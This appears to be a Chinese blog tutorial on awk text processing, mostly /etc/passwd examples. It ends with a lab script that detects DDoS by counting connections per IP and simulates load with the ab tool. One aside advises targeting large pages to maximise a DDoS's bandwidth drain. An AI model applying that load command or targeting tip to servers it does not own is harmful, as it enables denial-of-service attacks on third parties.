[root@localhost ~]# awk -F: '/bash$/{print $0}' /etc/passwd
root:x:0:0:root:/root:/bin/bash
mk:x:1000:1000:mk:/home/mk:/bin/bash

=====以下知识,大家了解一下======

例5:条件表达式

表达式?if-true:if-false 问号前面是条件,如果条件为真执行if-true,为假执行if-false

例1:如果passwd中UID小于10,则给变量USER赋值成aaa,否则赋值成bbb

[root@localhost ~]# awk -F: '{$3<10? USER="aaa":USER="bbb";print $1,USER}' /etc/passwd 
root aaa
bin aaa
daemon aaa
adm aaa
lp aaa
sync aaa
shutdown aaa
halt aaa
mail aaa
operator bbb
。。。

用if(条件){命令1;命令2}elif(条件){命令;}else{命令}中,在比较条件中用( )扩起来,在AWK中,如果条件为1为真,0为假

例:如果UID大于10 ,则输出user=>用户名,否则输出pass=>用户名

[root@localhost ~]# awk -F: '{if($3<10){print "user=>"$1}else{print "pass=>"$1}}' /etc/passwd
user=>root
user=>bin
user=>daemon
user=>adm
user=>lp
user=>sync
user=>shutdown
user=>halt
user=>mail
pass=>operator 

~        匹配

!~      不匹配

例:查出行号小于等于5且包括bin/bash的行

[root@localhost ~]#  awk -F: '{if($3<=5 && $NF ~ "bin/bash"){print $1,$NF}}' /etc/passwd
root /bin/bash

例6:变量

用-v指定 var=value 变量名区分大小写的

在程序中直接定义

在awk里,使用变量不用加$符号。

[root@localhost ~]# var="test" 
[root@localhost ~]# awk 'BEGIN{print "'$var'"}'  #引用变量时,使用单引号+双引号括起来
test

例7:格式化输出

printf命令:格式化输出 printf “FORMAT”,item1,item2.......

format使用注意事项:

1、其与print命令的最大不同是,printf需要指定format样式

2、format用于指定后面的每个item的输出格式

3、printf语句不会自动打印换行符;\n

4、format格式的指示符都以%开头,后跟一个字符;如下:

%c: 显示字符的ASCII码

%d, %i:十进制整数

%e, %E:科学计数法显示数值

%f: 显示浮点数

%g, %G: 以科学计数法的格式或浮点数的格式显示数值;

%s: 显示字符串

%u: 无符号整数

%%: 显示%自身

例1:输入passwd文件中的第1列内容,输出时不会换行

[root@localhost ~]#  awk -F: '{printf "%s",$1}' /etc/passwd  ##不会自动换行
rootrootbindaemonadmlpsyncshutdownhaltmailoperatorgamesftpnobodysystemd-networkdbuspolkitdabrtlibstoragemgmtrpccolordsaslauthrtkitchronyqemutssusbmuxdgeocluerpcusernfsnobodyradvdsetroubleshootpulsegdmgnome-initial-setupsshdavahipostfixntptcpdumpmk
[root@localhost ~]#

例2:换行输出

[root@localhost ~]# awk -F: '{printf "%s\n",$1}' /etc/passwd 

例3:在输出的字母前面添加自定义字符串USERNAME:

[root@localhost ~]# awk -F: '{printf "USERNAME: %s\n",$1}' /etc/passwd  
USERNAME: root
USERNAME: bin
USERNAME: daemon
USERNAME: adm

例4:对$1和$NF都做格式化输出

[root@localhost ~]# awk -F: '{printf "USERNAME: %s %s\n",$1,$NF}' /etc/passwd 
USERNAME: root /bin/bash
USERNAME: bin /sbin/nologin
USERNAME: daemon /sbin/nologin

例5:对$1和$NF都做格式化输出,在$1和$NF两者之间添加一串====字符进行输入

[root@localhost ~]# awk -F: '{printf "USERNAME: %s=========%s\n",$1,$NF}' /etc/passwdUSERNAME: root=========/bin/bash
USERNAME: bin=========/sbin/nologin

awk修饰符:

N: 显示宽度;

-: 左对齐;

一个字母占一个宽度。默认是右对齐

例1:显示时用10个字符串右对齐显示。如果要显示的字符串不够10个宽度,以字符串的左边自动添加。一个字母占一个宽度。默认是右对齐

[root@localhost ~]# awk -F":" '{printf "%10s\n",$1}' /etc/passwd

 例2:使用10个宽度,左对齐显示

[root@localhost ~]# awk -F":" '{printf "%-10s\n",$1}'  /etc/passwd
root      
bin       
daemon    
adm       
lp   

例3:第1列使用15个字符宽度左对齐输出,最后一列使用15个字符宽度右对齐输出

[root@localhost ~]# awk -F: '{printf "USERNAME: %-15s %15s\n",$1,$NF}' /etc/passwd
USERNAME: root                  /bin/bash
USERNAME: bin               /sbin/nologin

例4:使用开始和结束模块来格式化输出

[root@localhost ~]# cat test.awk 
BEGIN{
	print "UserId\t\t\tShell"
	print "-------------------------------"
	FS=":"
	}
$3>=500 && $NF=="/sbin/nologin"{
	printf "%-20s %-20s\n", $1,$NF	
	}
END{
	print "--------------------------------"
	}
[root@localhost ~]# awk -f test.awk /etc/passwd
UserId			Shell
-------------------------------
polkitd              /sbin/nologin       
libstoragemgmt       /sbin/nologin       
colord               /sbin/nologin       
saslauth             /sbin/nologin       
chrony               /sbin/nologin       
geoclue              /sbin/nologin       
nfsnobody            /sbin/nologin       
setroubleshoot       /sbin/nologin       
gnome-initial-setup  /sbin/nologin       
--------------------------------

24.4 实战-shell脚本实战

24.4.1 检查服务器是否受到DDOS攻击脚本

思路:通过:netstat 查看网络连接数。如果一个IP地址对服务器建立很多连接数(比如一分钟产生了100个连接),就认为发生了DDOS

搭建环境:

[root@localhost ~]# yum install httpd -y  #安装apache
[root@localhost ~]# systemctl start httpd  #启动服务
[root@localhost ~]# echo "xuegod" > /var/www/html/index.html  #创建apache默认网站首页
[root@localhost ~]# vim  ddos-test.sh   #写入以下内容
#!/bin/bash
netstat -ntu | awk '{print $5}' | cut -d: -f1 | sort | uniq -c | sort -n

注释:
netstat -ntu | awk '{print $5}' | cut -d: -f1    | sort | uniq -c | sort -n
            
              截取外网IP和端口     截取外网的IP以:为分隔符  |排序 | 排除相同的记录  | 排序并统计

测试,模拟DDOS

ab命令:做压力测试的工具和性能的监控工具

语法: ab -n 要产生的链接数总和 -c 同时打开的客户端数量 http://链接

安装ab命令:

[root@localhost ~]# rpm -qf `which  ab `  #这个安装apache时,会自动安装上
httpd-tools-2.2.15-15.el6.x86_64

模拟DDOS: 启动10个客户端对网站首页发起1000次访问

[root@xuegod64 ~]# ab -n 1000 -c 10 http://192.168.1.63/index.html  

互动: 如果你要对方发生DDOS攻击,你会攻击什么样的页面?

#访问一个页面比较大,页面越大,消耗服务器带宽就越大,攻击效果越明显

[root@localhost ~]# ./ddos-test.sh    #检查DDOS
      1 Address
      1 servers)
      2 192.168.1.6
   1003 192.168.1.63

  • 1
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值